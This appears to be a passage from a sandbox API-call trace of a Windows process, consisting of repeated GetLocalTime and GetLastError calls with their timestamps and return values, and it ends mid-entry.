GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.755] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.755] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.756] GetLastError () returned 0x0 [0056.756] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.757] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.757] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.758] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.758] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 